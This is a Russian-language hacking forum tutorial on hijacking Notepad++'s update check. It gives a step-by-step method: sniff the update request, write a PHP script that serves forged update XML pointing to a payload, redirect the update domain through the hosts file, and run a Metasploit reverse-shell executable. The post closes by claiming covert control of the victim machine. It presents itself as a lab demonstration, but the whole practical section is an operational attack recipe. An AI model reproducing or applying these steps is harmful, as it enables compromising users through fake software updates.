Перейти к содержимому



Фотография

DNS Spoofing - Фейковое обновление ПО

spoofing спуфинг фейк программа приложение взлом взломщик хакер хакинг атака

  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1 roguevad

roguevad

    Эксперт.

  • Пользователи
  • PipPipPipPipPip
  • 442 сообщений

Отправлено 24 Июль 2020 - 02:35

В данной статье я хочу поговорить о теме которая меня давно интересует, а именно фейковое обновлении ПО. Мне вообще интересна тема MITM а в частности как проводить атаки внутри сети. Одним из векторов атаки является то самое фейковое обновление ПО. Примерно год назад мне попалась на глаза программа evilgrade, сразу загорелся желанием разобраться как она работает. Попробовал разобрать с наскоку но что то пошло не так и я забил Сегодня я сново вернулся к этой теме и в этот раз я добился результат.

Оговорю сразу, я не даю вам четкие инструкции как вам провести данную атаку или написать код чтобы автоматизировать процесс, я опишу методологию того как это происходит и покажу пример который наглядно покажет о чем идет речь. Суть данного материала показать как работает данная атака на примитивном уровне. Давайте выйдем за рамки скрипт-кидди и повысим свой уровень знаний в данной области Бездумно использовать готовый софт могут все, а понять как он работает далеко не многие.

Теория:

Прежде чем углубиться в атаку давайте разберем механизм обновление ПО.

Этапы обновление ПО:

  1. Отправляем на сервер запрос для проверки обновления (это может делать как сама программа в автоматическом режиме так и выполнен запрос в ручную)
  2. Получаем ответ от сервера
  3. Обработка ответа (если обновление есть то устанавливаем если нет то сообщаем о том что программа не имеет обновлений)

После того как у нас сформировалось понимание того как проходит процесс обновление ПО мы можем сформировать этапы атаки.

Этапы проведения атаки:

  1. Определить запрос отправленный на сервер обновления
  2. Посмотреть ответ который прислала сервер
  3. Понимаем свой сервер
  4. Реализовать атаку типа DNS Spoofing на адрес сервера обновлений
  5. Сформировать свой ответ на основе полученного ответа в пункте 2

Когда этапы атаки обозначены можно приступить к реализации. Пока что на уровне теории можете не особо понятно о чем идет речь но скоро мы перейдем к примеру который наглядно покажет что к чему. Возьмем для примера программу Notepad++, она идеально подойдет для того чтобы наглядно показать данный вектор атаки.

Практика:

Для того чтобы мы могли выполнить все этапы атаки нам понадобиться следующие программы:

  • Notepad++
  • XAMPP
  • Wireshark

Начнем с установки Notepad++. После того как мы установили программу надо проверить ее обновление. Находим знак ? нажимаем на него в выпадающем меню выбираем “Обновить Notepad++”.

Появляется окно которое нам предлагает скачать обновление. Это нам как раз и надо.

Нажимаем отмена, открываем Wireshark. Выбираем сетевой адаптер (тут мог выразиться не точно).

Выставляем фильтр HTTP. Повторяем процесс запроса но обновления ждем пару секунд останавливаем Wireshark. И начинаем смотреть перехваченные пакеты. В поле info мы можем заметить что есть GET запрос с URL который начинается на update.

Просмотров данный запрос более детально мы видим Full request который ведет на URL notepad-plus-plus.org. Чтобы убедиться что это то что нам надо давайте перейдем на полный URL http://notepad-plus-plus.org/update/getDownloadUrl.php?version=6.0. В ответ мы получим XML который говорит нам о том что есть новое обновление.

<GUP>

    <NeedToBeUpdated>yes</NeedToBeUpdated>

    <Version>7.5.9</Version>

    <Location>http://notepad-plus-....exe</Location>

</GUP>

На этом этапе у нас есть мы нашли интересующий нас запрос и узнали какой требуются ответ чтобы его распознала программа. На этом сбор данных закончен приступим к атаке. Так как тест проводиться в лабораторных условия я некоторые моменты упростил а именно DNS Spoofing и поднятие сервера в локальной сети. Третий и четвертый пункт будут проводиться на атакуемой машине но это не столь важно так как не вредит чистоте теста.

Устанавливаем XAMPP. Включаем Apache.

Переходим в каталог где лежит сайт по умолчанию C:\xampp\htdocs. Создаем там две директории update и repository. Каталог update обязателен так как он есть в URL который запрашивает обновление там будет лежать файл getDownloadUrl.php. Директория repository не обязателен так как мы сами указываем откуда загружаться payload в XML который будем отдавать в ответ на запрос но для красоты и порядка положим именно туда нашу пользовательскую нагрузку.

Переходим в каталог update и создаем файл getDownloadUrl.php со следующим содержанием.

<?php

header('Content-type: text/xml');

 

$xml = <<<XML

<GUP>

<NeedToBeUpdated>yes</NeedToBeUpdated>

<Version>7.5.9</Version>

<Location>http://notepad-plus-....exe</Location>

</GUP>

XML;

 

echo $xml;

Данный код выводит все тот же XML который мы получили ранения с одним изменением. В тэг Location мы установили свой путь к файлу с payload который находиться в директории repository. Payload я создал на Kali. Пример как это делать можно посмотреть в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok. После того как вы получили exe файл положите его в каталог repository.

Теперь давайте перейдем по адресу http://localhost/repository/ и убедимся что там лежит на payload файла.

А также проверим отдается ли наш сконфигурированный XML по адресу http://localhost/upd...DownloadUrl.php.

Если у вас все сходиться с примерами на скриншотах тогда вы делаете все правильно. Осталось совсем немного) а именно надо заставить идти запросы на наш сервер. Тут мы можем прибегнуть к DNS Spoofing но как я говорил ранее мы упростим данный шаг. Идем в каталог etc который находиться по пути C:\Windows\System32\drivers\etc и добавляем в конец файл hosts 127.0.0.1 notepad-plus-plus.org. Тем самым мы говорим нашей системе чтобы все запросы которые идут на notepad-plus-plus.org шли на locolhost. На этом подготовка закончена осталось проверить.

Идем в Notepad++ запускаем проверку обновления. Соглашаемся скачать обновления. После того как обновление скачается появиться еще одно окно.

Соглашаемся. Notepad++ закроется а наш payload выполнится. Вот мы и получили контроль над машиной в локальной сети незаметно для атакуемого пользователя.

Я надеюсь что статья была полезной и вы вынесли для себя что то новое. Данный вид атаки сработает далеко не со всеми программами. Но с какой то частью точно. Как поступить с полученными знаниями зависит только от вас.

 

 





Темы с аналогичным тегами spoofing, спуфинг, фейк, программа, приложение, взлом, взломщик, хакер, хакинг, атака


Яндекс.Метрика Top.Mail.Ru Analysis Счетчик ИКС
Добавить Vkontakte Добавить в Facebook Добавить в Twitter Добавить в LiveJournal